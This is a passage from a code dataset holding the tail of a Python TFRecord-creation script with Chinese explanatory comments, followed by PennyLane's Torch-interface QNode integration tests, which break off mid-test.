labels[int(TRAIN_DATA_RATIO*len(addrs)):int(test_start_ratio*len(addrs))]\r\ncreate_tfrecord(VAL_FILENAME, val_addrs, val_labels, dispstep=DISPLAY_STEP)\r\n\r\ntest_addrs   = addrs[int(test_start_ratio*len(addrs)):int(test_end_ratio*len(addrs))]\r\ntest_labels  = labels[int(test_start_ratio*len(labels)):int(test_end_ratio*len(addrs))]\r\ncreate_tfrecord(TEST_FILENAME, test_addrs, test_labels, dispstep=DISPLAY_STEP)\r\n\r\n\r\n\r\nprint('TFRecords created suceefully.')\r\n# =============================================================================\r\n#                                                                         note\r\n# =============================================================================\r\n\r\n#   tf.python_io.TFRecordWriter\r\n#     Tensorflow \u63d0\u4f9b\u7684\u9ad8\u6548\u7387\u7684\u5beb\u5165\u6a94\u6848\u7684\u51fd\u6578, \u900f\u904e TFRecordWriter \u5efa\u7acb writer\r\n#     \u4f86\u5c07\u8cc7\u6599\u5beb\u9032\u6a94\u6848, \u4e3b\u8981\u662f\u61c9\u5c0d\u5927\u91cf\u8cc7\u6599\u8b80\u5beb\u6642\u6703\u6d6a\u8cbb\u8a18\u61b6\u9ad4\u800c\u8a2d\u8a08\u7684, \u53e6\u5916\u4e5f\u662f\u91dd\u5c0d\r\n#     TFRecord \u985e\u578b\u8cc7\u6599\u63d0\u4f9b\u5beb\u5165\u6a94\u6848\u7684\u65b9\u6cd5, \u5c0d\u61c9\u7684\u9084\u6709\u8b80\u53d6\u683c\u5f0f\r\n\r\n#   tf.compat.as_bytes\r\n#     \u5c07 String \u8f49\u63db\u6210 bytestream \u540c\u6642\u4f7f\u7528 UTF-8 \u505a\u7de8\u78bc, \u4f7f\u7528\u9019\u500b\u51fd\u6578\u524d\u9700\u8981\u5148\u7528\r\n#      tobytes \u5c07\u5716\u7247\u7684 RGB \u77e9\u9663\u900f\u904e numpy \u8f49\u63db\u6210 bytes\r\n\r\n#   tf.train.Feature\r\n#     \u9019\u908a\u7684\u7279\u5fb5(feature) \u6307\u7684\u662f\u5df2\u7d93\u7528\u6307\u5b9a\u683c\u5f0f\u8868\u793a\u7684\u5b57\u5178\u7d50\u69cb\u8cc7\u6599,\r\n#     \u9019\u4e9b\u5b57\u5178\u7d50\u69cb\u4e4b\u5f8c\u6703\u5e6b\u52a9\u6211\u5011\u5728 TensorFlow \u57f7\u884c\u6642\u53bb\u5c0d\u61c9\u5230\u76f8\u5c0d\u7684\u8981\u6c42\u8f38\u5165\r\n#     \u652f\u63f4\u6574\u6578, \u798f\u9ede\u6578\u548c\u4e8c\u9032\u5236, \u5728\u9019\u908a\u6211\u5011\u4f7f\u7528\u7684\u662f\u4e8c\u9032\u5236\u7684\u65b9\u5f0f\u69cb\u5efa feature\r\n\r\n#  tf.train.Example\r\n#     \u9019\u908a\u662f\u5c07\u7279\u5fb5 (feature) \u5305\u88dd\u6210\u6a23\u672c (example) \u591a\u5305\u542b\u4e86 protocol buffer\r\n#     \u7c21\u55ae\u4f86\u8aaa\u5c31\u662f\u5c0d\u6703\u4f7f\u7528\u5230\u7684\u8cc7\u6599, \u5efa\u7acb\u5c0d\u61c9\u7684\u63a5\u53e3\u51fd\u6578\u8207\u8aaa\u660e\u8cc7\u6599\u7684\u5167\u5bb9\u683c\u5f0f\r\n#     \u4e3b\u8981\u76ee\u7684\u662f\u63d0\u4f9b\u8981\u4f7f\u7528 TFRecord \u6a94\u6848\u7684\u6642\u5019, \u80fd\u66f4\u5feb\u901f\u7684\u9032\u5165\u8cc7\u6599\u4e26\u4f7f\u7528\u5167\u5bb9\r\n#     protocal buffer \u57fa\u672c\u4e0a\u662f\u4e00\u7a2e\u6bd4\u8d77 JSON, XML \u66f4\u597d\u7684\u683c\u5f0f, \u4e5f\u53d7\u5230\u7de8\u78bc\u4fdd\u8b77\r\n\r\n#  SerializeToString\r\n#     \u5c07 bytestream \u7684\u8cc7\u6599\u5beb\u5165\u6a94\u6848\u4e2d, \u6210\u70ba\u88ab\u7de8\u78bc\u904e\u5f8c\u7684 TFRecord \u7684\u8cc7\u6599\r\n#     \u96a8\u610f\u6253\u958b\u53ef\u80fd\u6703\u662f\u4e00\u5806\u985e\u4f3c 3330 0900 0000 0000 30cb 2a4a \u9019\u7a2e\u6771\u897f\r\n", "meta": {"hexsha": "b9ac1bd7c3d9214218fabdc1e7a8203e3d27efa2", "size": 7543, "ext": "py", "lang": "Python", "max_stars_repo_path": "tf_toycode/create_tfrecords.py", "max_stars_repo_name": "rlfx/ffe", "max_stars_repo_head_hexsha": "8f7a54b5e5fc03eea98b6bd01102bfc054985708", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tf_toycode/create_tfrecords.py", "max_issues_repo_name": "rlfx/ffe", "max_issues_repo_head_hexsha": "8f7a54b5e5fc03eea98b6bd01102bfc054985708", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tf_toycode/create_tfrecords.py", "max_forks_repo_name": "rlfx/ffe", "max_forks_repo_head_hexsha": "8f7a54b5e5fc03eea98b6bd01102bfc054985708", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.6009174312, "max_line_length": 90, "alphanum_fraction": 0.4792522869, "include": true, "reason": "import numpy", "num_tokens": 2643, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44167300566462553, "lm_q2_score": 0.12252322373245951, "lm_q1q2_score": 0.05411520048963477}}
{"text": "# Copyright 2018-2020 Xanadu Quantum Technologies Inc.\r\n\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n\r\n#     http://www.apache.org/licenses/LICENSE-2.0\r\n\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n\"\"\"Integration tests for using the Torch interface with a QNode\"\"\"\r\nimport pytest\r\nimport numpy as np\r\n\r\ntorch = pytest.importorskip(\"torch\", minversion=\"1.3\")\r\nfrom torch.autograd.functional import hessian, jacobian\r\n\r\nimport pennylane as qml\r\nfrom pennylane import qnode, QNode\r\nfrom pennylane.tape import JacobianTape\r\n\r\n\r\nqubit_device_and_diff_method = [\r\n    [\"default.qubit\", \"finite-diff\", \"backward\"],\r\n    [\"default.qubit\", \"parameter-shift\", \"backward\"],\r\n    [\"default.qubit\", \"backprop\", \"forward\"],\r\n    [\"default.qubit\", \"adjoint\", \"forward\"],\r\n    [\"default.qubit\", \"adjoint\", \"backward\"],\r\n]\r\n\r\n\r\n@pytest.mark.parametrize(\"dev_name,diff_method,mode\", qubit_device_and_diff_method)\r\nclass TestQNode:\r\n    \"\"\"Test that using the QNode with Torch integrates with the PennyLane stack\"\"\"\r\n\r\n    def test_execution_with_interface(self, dev_name, diff_method, mode):\r\n        \"\"\"Test execution works with the interface\"\"\"\r\n        if diff_method == \"backprop\":\r\n            pytest.skip(\"Test does not support backprop\")\r\n\r\n        dev = qml.device(dev_name, wires=1)\r\n\r\n        @qnode(dev, diff_method=diff_method, mode=mode, interface=\"torch\")\r\n        def circuit(a):\r\n            qml.RY(a, wires=0)\r\n            qml.RX(0.2, wires=0)\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        a = torch.tensor(0.1, requires_grad=True)\r\n        res = circuit(a)\r\n\r\n        assert circuit.interface == \"torch\"\r\n\r\n        # with the interface, the tape returns torch tensors\r\n\r\n        assert isinstance(res, torch.Tensor)\r\n        assert res.shape == tuple()\r\n\r\n        # the tape is able to deduce trainable parameters\r\n        assert circuit.qtape.trainable_params == [0]\r\n\r\n        # gradients should work\r\n        res.backward()\r\n        grad = a.grad\r\n        assert isinstance(grad, torch.Tensor)\r\n        assert grad.shape == tuple()\r\n\r\n    def test_interface_swap(self, dev_name, diff_method, mode, tol):\r\n        \"\"\"Test that the Torch interface can be applied to a QNode\r\n        with a pre-existing interface\"\"\"\r\n        dev = qml.device(dev_name, wires=1)\r\n\r\n        @qnode(dev, diff_method=diff_method, interface=\"autograd\")\r\n        def circuit(a):\r\n            qml.RY(a, wires=0)\r\n            qml.RX(0.2, wires=0)\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        from pennylane import numpy as anp\r\n\r\n        a = anp.array(0.1, requires_grad=True)\r\n\r\n        res1 = circuit(a)\r\n        grad_fn = qml.grad(circuit)\r\n        grad1 = grad_fn(a)\r\n\r\n        # switch to Torch interface\r\n        circuit.interface = \"torch\"\r\n\r\n        a = torch.tensor(0.1, dtype=torch.float64, requires_grad=True)\r\n\r\n        res2 = circuit(a)\r\n        res2.backward()\r\n        grad2 = a.grad\r\n        assert np.allclose(res1, res2.detach().numpy(), atol=tol, rtol=0)\r\n        assert np.allclose(grad1, grad2, atol=tol, rtol=0)\r\n\r\n    def test_drawing(self, dev_name, diff_method, mode):\r\n        \"\"\"Test circuit drawing when using the torch interface\"\"\"\r\n\r\n        x = torch.tensor(0.1, requires_grad=True)\r\n        y = torch.tensor([0.2, 0.3], requires_grad=True)\r\n        z = torch.tensor(0.4, requires_grad=True)\r\n\r\n        dev = qml.device(dev_name, wires=2)\r\n\r\n        @qnode(dev, interface=\"torch\", diff_method=diff_method, mode=mode)\r\n        def circuit(p1, p2=y, **kwargs):\r\n            qml.RX(p1, wires=0)\r\n            qml.RY(p2[0] * p2[1], wires=1)\r\n            qml.RX(kwargs[\"p3\"], wires=0)\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.expval(qml.PauliZ(0)), qml.expval(qml.PauliZ(1))\r\n\r\n        circuit(p1=x, p3=z)\r\n\r\n        result = qml.draw(circuit)(p1=x, p3=z)\r\n        expected = \"0: \u2500\u2500RX(0.10)\u2500\u2500RX(0.40)\u2500\u256dC\u2500\u2524  <Z>\\n\" \"1: \u2500\u2500RY(0.06)\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2570X\u2500\u2524  <Z>\"\r\n\r\n        assert result == expected\r\n\r\n    def test_jacobian(self, dev_name, diff_method, mode, mocker, tol):\r\n        \"\"\"Test jacobian calculation\"\"\"\r\n        if diff_method == \"parameter-shift\":\r\n            spy = mocker.spy(qml.gradients.param_shift, \"transform_fn\")\r\n        elif diff_method == \"finite-diff\":\r\n            spy = mocker.spy(qml.gradients.finite_diff, \"transform_fn\")\r\n\r\n        a_val = 0.1\r\n        b_val = 0.2\r\n\r\n        a = torch.tensor(a_val, dtype=torch.float64, requires_grad=True)\r\n        b = torch.tensor(b_val, dtype=torch.float64, requires_grad=True)\r\n\r\n        dev = qml.device(dev_name, wires=2)\r\n\r\n        @qnode(dev, diff_method=diff_method, mode=mode, interface=\"torch\")\r\n        def circuit(a, b):\r\n            qml.RY(a, wires=0)\r\n            qml.RX(b, wires=1)\r\n            qml.CNOT(wires=[0, 1])\r\n            return [qml.expval(qml.PauliZ(0)), qml.expval(qml.PauliY(1))]\r\n\r\n        res = circuit(a, b)\r\n\r\n        assert circuit.qtape.trainable_params == [0, 1]\r\n\r\n        assert isinstance(res, torch.Tensor)\r\n        assert res.shape == (2,)\r\n\r\n        expected = [np.cos(a_val), -np.cos(a_val) * np.sin(b_val)]\r\n        assert np.allclose(res.detach().numpy(), expected, atol=tol, rtol=0)\r\n\r\n        loss = torch.sum(res)\r\n\r\n        loss.backward()\r\n        expected = [\r\n            -np.sin(a_val) + np.sin(a_val) * np.sin(b_val),\r\n            -np.cos(a_val) * np.cos(b_val),\r\n        ]\r\n        assert np.allclose(a.grad, expected[0], atol=tol, rtol=0)\r\n        assert np.allclose(b.grad, expected[1], atol=tol, rtol=0)\r\n\r\n        if diff_method in (\"parameter-shift\", \"finite-diff\"):\r\n            spy.assert_called()\r\n\r\n    @pytest.mark.xfail\r\n    def test_jacobian_dtype(self, dev_name, diff_method, mode, tol):\r\n        \"\"\"Test calculating the jacobian with a different datatype\"\"\"\r\n        if diff_method == \"backprop\":\r\n            pytest.skip(\"Test does not support backprop\")\r\n\r\n        a = torch.tensor(0.1, dtype=torch.float32, requires_grad=True)\r\n        b = torch.tensor(0.2, dtype=torch.float32, requires_grad=True)\r\n\r\n        dev = qml.device(dev_name, wires=2)\r\n\r\n        @qnode(dev, interface=\"torch\", diff_method=diff_method)\r\n        def circuit(a, b):\r\n            qml.RY(a, wires=0)\r\n            qml.RX(b, wires=1)\r\n            qml.CNOT(wires=[0, 1])\r\n            return [qml.expval(qml.PauliZ(0)), qml.expval(qml.PauliY(1))]\r\n\r\n        res = circuit(a, b)\r\n\r\n        assert circuit.interface == \"torch\"\r\n        assert circuit.qtape.trainable_params == [0, 1]\r\n\r\n        assert isinstance(res, torch.Tensor)\r\n        assert res.shape == (2,)\r\n        assert res.dtype is torch.float32\r\n\r\n        loss = torch.sum(res)\r\n        loss.backward()\r\n        assert a.grad.dtype is torch.float32\r\n        assert b.grad.dtype is torch.float32\r\n\r\n    def test_jacobian_options(self, dev_name, diff_method, mode, mocker, tol):\r\n        \"\"\"Test setting jacobian options\"\"\"\r\n        if diff_method != \"finite-diff\":\r\n            pytest.skip(\"Test only works with finite-diff\")\r\n\r\n        spy = mocker.spy(qml.gradients.finite_diff, \"transform_fn\")\r\n\r\n        a = torch.tensor([0.1, 0.2], requires_grad=True)\r\n\r\n        dev = qml.device(dev_name, wires=1)\r\n\r\n        @qnode(dev, diff_method=diff_method, mode=mode, interface=\"torch\", h=1e-8, approx_order=2)\r\n        def circuit(a):\r\n            qml.RY(a[0], wires=0)\r\n            qml.RX(a[1], wires=0)\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        res = circuit(a)\r\n        res.backward()\r\n\r\n        for args in spy.call_args_list:\r\n            assert args[1][\"approx_order\"] == 2\r\n            assert args[1][\"h\"] == 1e-8\r\n\r\n    def test_changing_trainability(self, dev_name, diff_method, mode, mocker, tol):\r\n        \"\"\"Test that changing the trainability of parameters changes the\r\n        number of differentiation requests made\"\"\"\r\n        if diff_method != \"parameter-shift\":\r\n            pytest.skip(\"Test only supports parameter-shift\")\r\n\r\n        a_val = 0.1\r\n        b_val = 0.2\r\n\r\n        a = torch.tensor(a_val, dtype=torch.float64, requires_grad=True)\r\n        b = torch.tensor(b_val, dtype=torch.float64, requires_grad=True)\r\n\r\n        dev = qml.device(dev_name, wires=2)\r\n\r\n        @qnode(dev, interface=\"torch\", diff_method=diff_method)\r\n        def circuit(a, b):\r\n            qml.RY(a, wires=0)\r\n            qml.RX(b, wires=1)\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.expval(qml.PauliZ(0)), qml.expval(qml.PauliY(1))\r\n\r\n        res = circuit(a, b)\r\n\r\n        # the tape has reported both gate arguments as trainable\r\n        assert circuit.qtape.trainable_params == [0, 1]\r\n\r\n        expected = [np.cos(a_val), -np.cos(a_val) * np.sin(b_val)]\r\n        assert np.allclose(res.detach().numpy(), expected, atol=tol, rtol=0)\r\n\r\n        spy = mocker.spy(qml.gradients.param_shift, \"transform_fn\")\r\n\r\n        loss = torch.sum(res)\r\n        loss.backward()\r\n\r\n        expected = [\r\n            -np.sin(a_val) + np.sin(a_val) * np.sin(b_val),\r\n            -np.cos(a_val) * np.cos(b_val),\r\n        ]\r\n        assert np.allclose([a.grad, b.grad], expected, atol=tol, rtol=0)\r\n\r\n        # The parameter-shift rule has been called for each argument\r\n        assert len(spy.spy_return[0]) == 4\r\n\r\n        # make the second QNode argument a constant\r\n        a_val = 0.54\r\n        b_val = 0.8\r\n\r\n        a = torch.tensor(a_val, dtype=torch.float64, requires_grad=True)\r\n        b = torch.tensor(b_val, dtype=torch.float64, requires_grad=False)\r\n\r\n        res = circuit(a, b)\r\n\r\n        # the tape has reported only the first argument as trainable\r\n        assert circuit.qtape.trainable_params == [0]\r\n\r\n        expected = [np.cos(a_val), -np.cos(a_val) * np.sin(b_val)]\r\n        assert np.allclose(res.detach().numpy(), expected, atol=tol, rtol=0)\r\n\r\n        spy.call_args_list = []\r\n        loss = torch.sum(res)\r\n        loss.backward()\r\n        expected = -np.sin(a_val) + np.sin(a_val) * np.sin(b_val)\r\n        assert np.allclose(a.grad, expected, atol=tol, rtol=0)\r\n\r\n        # the gradient transform has only been called once\r\n        assert len(spy.call_args_list) == 1\r\n\r\n    def test_classical_processing(self, dev_name, diff_method, mode, tol):\r\n        \"\"\"Test classical processing within the quantum tape\"\"\"\r\n        a = torch.tensor(0.1, dtype=torch.float64, requires_grad=True)\r\n        b = torch.tensor(0.2, dtype=torch.float64, requires_grad=False)\r\n        c = torch.tensor(0.3, dtype=torch.float64, requires_grad=True)\r\n\r\n        dev = qml.device(dev_name, wires=1)\r\n\r\n        @qnode(dev, diff_method=diff_method, mode=mode, interface=\"torch\")\r\n        def circuit(a, b, c):\r\n            qml.RY(a * c, wires=0)\r\n            qml.RZ(b, wires=0)\r\n            qml.RX(c + c**2 + torch.sin(a), wires=0)\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        res = circuit(a, b, c)\r\n\r\n        if diff_method == \"finite-diff\":\r\n            assert circuit.qtape.trainable_params == [0, 2]\r\n            assert circuit.qtape.get_parameters() == [a * c, c + c**2 + torch.sin(a)]\r\n\r\n        res.backward()\r\n\r\n        assert isinstance(a.grad, torch.Tensor)\r\n        assert b.grad is None\r\n        assert isinstance(c.grad, torch.Tensor)\r\n\r\n    def test_no_trainable_parameters(self, dev_name, diff_method, mode, tol):\r\n        \"\"\"Test evaluation and Jacobian if there are no trainable parameters\"\"\"\r\n        dev = qml.device(dev_name, wires=2)\r\n\r\n        @qnode(dev, diff_method=diff_method, mode=mode, interface=\"torch\")\r\n        def circuit(a, b):\r\n            qml.RY(a, wires=0)\r\n            qml.RX(b, wires=0)\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.expval(qml.PauliZ(0)), qml.expval(qml.PauliZ(1))\r\n\r\n        a = 0.1\r\n        b = torch.tensor(0.2, dtype=torch.float64, requires_grad=False)\r\n\r\n        res = circuit(a, b)\r\n\r\n        if diff_method == \"finite-diff\":\r\n            assert circuit.qtape.trainable_params == []\r\n\r\n        assert res.shape == (2,)\r\n        assert isinstance(res, torch.Tensor)\r\n\r\n        with pytest.raises(\r\n            RuntimeError,\r\n            match=\"element 0 of tensors does not require grad and does not have a grad_fn\",\r\n        ):\r\n            res.backward()\r\n\r\n    @pytest.mark.parametrize(\r\n        \"U\",\r\n        [\r\n            torch.tensor([[0, 1], [1, 0]], requires_grad=False),\r\n            np.array([[0, 1], [1, 0]]),\r\n        ],\r\n    )\r\n    def test_matrix_parameter(self, dev_name, diff_method, mode, U, tol):\r\n        \"\"\"Test that the Torch interface works correctly\r\n        with a matrix parameter\"\"\"\r\n        a_val = 0.1\r\n        a = torch.tensor(a_val, dtype=torch.float64, requires_grad=True)\r\n\r\n        dev = qml.device(dev_name, wires=2)\r\n\r\n        @qnode(dev, diff_method=diff_method, mode=mode, interface=\"torch\")\r\n        def circuit(U, a):\r\n            qml.QubitUnitary(U, wires=0)\r\n            qml.RY(a, wires=0)\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        res = circuit(U, a)\r\n\r\n        if diff_method == \"finite-diff\":\r\n            assert circuit.qtape.trainable_params == [1]\r\n\r\n        assert np.allclose(res.detach(), -np.cos(a_val), atol=tol, rtol=0)\r\n\r\n        res.backward()\r\n        assert np.allclose(a.grad, np.sin(a_val), atol=tol, rtol=0)\r\n\r\n    def test_differentiable_expand(self, dev_name, diff_method, mode, tol):\r\n        \"\"\"Test that operation and nested tapes expansion\r\n        is differentiable\"\"\"\r\n\r\n        class U3(qml.U3):\r\n            def expand(self):\r\n                theta, phi, lam = self.data\r\n                wires = self.wires\r\n\r\n                with JacobianTape() as tape:\r\n                    qml.Rot(lam, theta, -lam, wires=wires)\r\n                    qml.PhaseShift(phi + lam, wires=wires)\r\n\r\n                return tape\r\n\r\n        dev = qml.device(dev_name, wires=1)\r\n        a = np.array(0.1)\r\n        p_val = [0.1, 0.2, 0.3]\r\n        p = torch.tensor(p_val, dtype=torch.float64, requires_grad=True)\r\n\r\n        @qnode(dev, diff_method=diff_method, mode=mode, interface=\"torch\")\r\n        def circuit(a, p):\r\n            qml.RX(a, wires=0)\r\n            U3(p[0], p[1], p[2], wires=0)\r\n            return qml.expval(qml.PauliX(0))\r\n\r\n        res = circuit(a, p)\r\n\r\n        assert circuit.qtape.trainable_params == [1, 2, 3]\r\n\r\n        expected = np.cos(a) * np.cos(p_val[1]) * np.sin(p_val[0]) + np.sin(a) * (\r\n            np.cos(p_val[2]) * np.sin(p_val[1])\r\n            + np.cos(p_val[0]) * np.cos(p_val[1]) * np.sin(p_val[2])\r\n        )\r\n        assert np.allclose(res.detach().numpy(), expected, atol=tol, rtol=0)\r\n\r\n        res.backward()\r\n        expected = np.array(\r\n            [\r\n                np.cos(p_val[1])\r\n                * (np.cos(a) * np.cos(p_val[0]) - np.sin(a) * np.sin(p_val[0]) * np.sin(p_val[2])),\r\n                np.cos(p_val[1]) * np.cos(p_val[2]) * np.sin(a)\r\n                - np.sin(p_val[1])\r\n                * (np.cos(a) * np.sin(p_val[0]) + np.cos(p_val[0]) * np.sin(a) * np.sin(p_val[2])),\r\n                np.sin(a)\r\n                * (\r\n                    np.cos(p_val[0]) * np.cos(p_val[1]) * np.cos(p_val[2])\r\n                    - np.sin(p_val[1]) * np.sin(p_val[2])\r\n                ),\r\n            ]\r\n        )\r\n        assert np.allclose(p.grad, expected, atol=tol, rtol=0)\r\n\r\n\r\nclass TestShotsIntegration:\r\n    \"\"\"Test that the QNode correctly changes shot value, and\r\n    differentiates it.\"\"\"\r\n\r\n    def test_changing_shots(self, mocker, tol):\r\n        \"\"\"Test that changing shots works on execution\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=2, shots=None)\r\n        a, b = torch.tensor([0.543, -0.654], requires_grad=True, dtype=torch.float64)\r\n\r\n        @qnode(dev, interface=\"torch\", diff_method=qml.gradients.param_shift)\r\n        def circuit(a, b):\r\n            qml.RY(a, wires=0)\r\n            qml.RX(b, wires=1)\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.expval(qml.PauliY(1))\r\n\r\n        spy = mocker.spy(dev, \"sample\")\r\n\r\n        # execute with device default shots (None)\r\n        res = circuit(a, b)\r\n        assert torch.allclose(res, -torch.cos(a) * torch.sin(b), atol=tol, rtol=0)\r\n        spy.assert_not_called()\r\n\r\n        # execute with shots=100\r\n        res = circuit(a, b, shots=100)\r\n        spy.assert_called()\r\n        assert spy.spy_return.shape == (100,)\r\n\r\n        # device state has been unaffected\r\n        assert dev.shots is None\r\n        spy = mocker.spy(dev, \"sample\")\r\n        res = circuit(a, b)\r\n        assert torch.allclose(res, -torch.cos(a) * torch.sin(b), atol=tol, rtol=0)\r\n        spy.assert_not_called()\r\n\r\n    def test_gradient_integration(self, tol):\r\n        \"\"\"Test that temporarily setting the shots works\r\n        for gradient computations\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=2, shots=None)\r\n        a, b = torch.tensor([0.543, -0.654], requires_grad=True)\r\n\r\n        @qnode(dev, interface=\"torch\", diff_method=qml.gradients.param_shift)\r\n        def cost_fn(a, b):\r\n            qml.RY(a, wires=0)\r\n            qml.RX(b, wires=1)\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.expval(qml.PauliY(1))\r\n\r\n        res = jacobian(lambda a, b: cost_fn(a, b, shots=[10000, 10000, 10000]), (a, b))\r\n        res = qml.math.transpose(torch.stack(res))\r\n        assert dev.shots is None\r\n        assert len(res) == 3\r\n\r\n        expected = torch.tensor([torch.sin(a) * torch.sin(b), -torch.cos(a) * torch.cos(b)])\r\n        assert torch.allclose(torch.mean(res, axis=0), expected, atol=0.1, rtol=0)\r\n\r\n    def test_multiple_gradient_integration(self, tol):\r\n        \"\"\"Test that temporarily setting the shots works\r\n        for gradient computations, even if the QNode has been re-evaluated\r\n        with a different number of shots in the meantime.\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=2, shots=None)\r\n        weights = torch.tensor([0.543, -0.654], requires_grad=True)\r\n        a, b = weights\r\n\r\n        @qnode(dev, interface=\"torch\", diff_method=qml.gradients.param_shift)\r\n        def circuit(a, b):\r\n            qml.RY(a, wires=0)\r\n            qml.RX(b, wires=1)\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.expval(qml.PauliY(1))\r\n\r\n        res1 = circuit(*weights)\r\n        assert qml.math.shape(res1) == tuple()\r\n\r\n        res2 = circuit(*weights, shots=[(1, 1000)])\r\n        assert qml.math.shape(res2) == (1000,)\r\n\r\n        res1.backward()\r\n\r\n        expected = torch.tensor([torch.sin(a) * torch.sin(b), -torch.cos(a) * torch.cos(b)])\r\n        assert torch.allclose(weights.grad, expected, atol=tol, rtol=0)\r\n\r\n    def test_update_diff_method(self, mocker, tol):\r\n        \"\"\"Test that temporarily setting the shots updates the diff method\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=2, shots=100)\r\n        a, b = torch.tensor([0.543, -0.654], requires_grad=True)\r\n\r\n        spy = mocker.spy(qml, \"execute\")\r\n\r\n        @qnode(dev, interface=\"torch\")\r\n        def cost_fn(a, b):\r\n            qml.RY(a, wires=0)\r\n            qml.RX(b, wires=1)\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.expval(qml.PauliY(1))\r\n\r\n        # since we are using finite shots, parameter-shift will\r\n        # be chosen\r\n        assert cost_fn.gradient_fn is qml.gradients.param_shift\r\n\r\n        cost_fn(a, b)\r\n        assert spy.call_args[1][\"gradient_fn\"] is qml.gradients.param_shift\r\n\r\n        # if we set the shots to None, backprop can now be used\r\n        cost_fn(a, b, shots=None)\r\n        assert spy.call_args[1][\"gradient_fn\"] == \"backprop\"\r\n\r\n        # original QNode settings are unaffected\r\n        assert cost_fn.gradient_fn is qml.gradients.param_shift\r\n        cost_fn(a, b)\r\n        assert spy.call_args[1][\"gradient_fn\"] is qml.gradients.param_shift\r\n\r\n\r\nclass TestAdjoint:\r\n    \"\"\"Specific integration tests for the adjoint method\"\"\"\r\n\r\n    def test_reuse_state(self, mocker):\r\n        \"\"\"Tests that the Torch interface reuses the device state for adjoint differentiation\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=2)\r\n\r\n        @qnode(dev, diff_method=\"adjoint\", interface=\"torch\")\r\n        def circ(x):\r\n            qml.RX(x[0], wires=0)\r\n            qml.RY(x[1], wires=1)\r\n            qml.CNOT(wires=(0, 1))\r\n            return qml.expval(qml.PauliZ(0)), qml.expval(qml.PauliX(1))\r\n\r\n        expected_grad = lambda x: torch.tensor([-torch.sin(x[0]), torch.cos(x[1])])\r\n\r\n        spy = mocker.spy(dev, \"adjoint_jacobian\")\r\n\r\n        x1 = torch.tensor([0.1, 0.2], requires_grad=True)\r\n        res1 = circ(x1)\r\n        res1.backward(torch.Tensor([1, 1]))\r\n\r\n        assert np.allclose(x1.grad, expected_grad(x1))\r\n        assert circ.device.num_executions == 1\r\n        spy.assert_called_with(mocker.ANY, use_device_state=mocker.ANY)\r\n\r\n    def test_resuse_state_multiple_evals(self, mocker, tol):\r\n        \"\"\"Tests that the Torch interface reuses the device state for adjoint differentiation,\r\n        even where there are intermediate evaluations.\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=2)\r\n\r\n        x_val = 0.543\r\n        y_val = -0.654\r\n        x = torch.tensor(x_val, requires_grad=True)\r\n        y = torch.tensor(y_val, requires_grad=True)\r\n\r\n        @qnode(dev, diff_method=\"adjoint\", interface=\"torch\")\r\n        def circuit(x, y):\r\n            qml.RX(x, wires=[0])\r\n            qml.RY(y, wires=[1])\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        spy = mocker.spy(dev, \"adjoint_jacobian\")\r\n\r\n        res1 = circuit(x, y)\r\n        assert np.allclose(res1.detach(), np.cos(x_val), atol=tol, rtol=0)\r\n\r\n        # intermediate evaluation with different values\r\n        res2 = circuit(torch.tan(x), torch.cosh(y))\r\n\r\n        # the adjoint method will continue to compute the correct derivative\r\n        res1.backward()\r\n        assert np.allclose(x.grad.detach(), -np.sin(x_val), atol=tol, rtol=0)\r\n        assert dev.num_executions == 2\r\n        spy.assert_called_with(mocker.ANY, use_device_state=mocker.ANY)\r\n\r\n\r\n@pytest.mark.parametrize(\"dev_name,diff_method,mode\", qubit_device_and_diff_method)\r\nclass TestQubitIntegration:\r\n    \"\"\"Tests that ensure various qubit circuits integrate correctly\"\"\"\r\n\r\n    def test_probability_differentiation(self, dev_name, diff_method, mode, tol):\r\n        \"\"\"Tests correct output shape and evaluation for a tape\r\n        with prob and expval outputs\"\"\"\r\n\r\n        if diff_method == \"adjoint\":\r\n            pytest.skip(\"The adjoint method does not currently support returning probabilities\")\r\n\r\n        dev = qml.device(dev_name, wires=2)\r\n        x_val = 0.543\r\n        y_val = -0.654\r\n        x = torch.tensor(x_val, requires_grad=True, dtype=torch.float64)\r\n        y = torch.tensor(y_val, requires_grad=True, dtype=torch.float64)\r\n\r\n        @qnode(dev, diff_method=diff_method, mode=mode, interface=\"torch\")\r\n        def circuit(x, y):\r\n            qml.RX(x, wires=[0])\r\n            qml.RY(y, wires=[1])\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.probs(wires=[0]), qml.probs(wires=[1])\r\n\r\n        res = circuit(x, y)\r\n\r\n        expected = 